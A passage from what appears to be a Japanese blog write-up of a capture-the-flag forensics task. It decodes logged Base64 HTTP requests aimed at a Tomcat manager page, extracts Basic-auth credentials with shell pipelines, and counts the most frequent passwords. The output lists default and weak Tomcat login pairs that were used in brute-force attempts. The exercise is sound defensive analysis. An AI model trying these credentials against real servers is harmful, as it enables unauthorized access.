R0VUIC9tYW5hZ2VyL2h0bWwgSFRUUC8xLjEKQ29ubmVjdGlvbjogY2xvc2UKQXV0aG9yaXphdGlvbjogQmFzaWMgZEc5dFkyRjBPakV5TXpRMU5nPT0KVXNlci1BZ2VudDogSmF2YS8xLjguMF8xMzEKSG9zdDogMTUzLjEyNi4xODIuMTM0OjgwODAKQWNjZXB0OiB0ZXh0L2h0bWwsIGltYWdlL2dpZiwgaW1hZ2UvanBlZywgKjsgcT0uMiwgKi8qOyBxPS4yCgo=

2.認証情報抜き出し
1をBase64逆変換し、さらにBasic認証部分のBase64を逆変換し、Basic認証のアカウント・パスワードの組み合わせを抜き出します。

user1@trg:~
$ for i in `cat temp1` ; do   echo $i | base64 -d | grep Authorization | cut -d' ' -f3 | base64 -d >> temp2   ;   echo "" >> temp2   ; done

user1@trg:~
$ head -n 5 temp2
tomcat:role1
tomcat:pluto
tomcat:both
tomcat:test
tomcat:123456

3.パスワードの件数をカウント
パスワードのみを抽出し、件数をカウント、さらに件数でソートし、多いものの件数を確認します。
(sortコマンドを2回実行していますが、最初のsortはパスワード文字列のソートで、これはuniqコマンドで重複排除&-cオプションでカウントするための前準備となり、2回目のsortはカウント結果を数値基準での降順ソートするためのものです。)

user1@trg:~
$ cat temp2 | cut -d':' -f2 | sort | uniq -c | sort -n -r
     18 test
     18 role1
     18 administrator
     18 123456a
     18 1234567890
     18 123456
     18 123123123
     18 111111111
     18 111111
(snip)

FLAG:18

その2へ続く。。。


その2を公開しました。こちらになります。
fatsheep.hateblo.jp



■ 更新履歴

  • 2020/11/24 新規作成
  • 2020/11/25 その2へのリンクを追加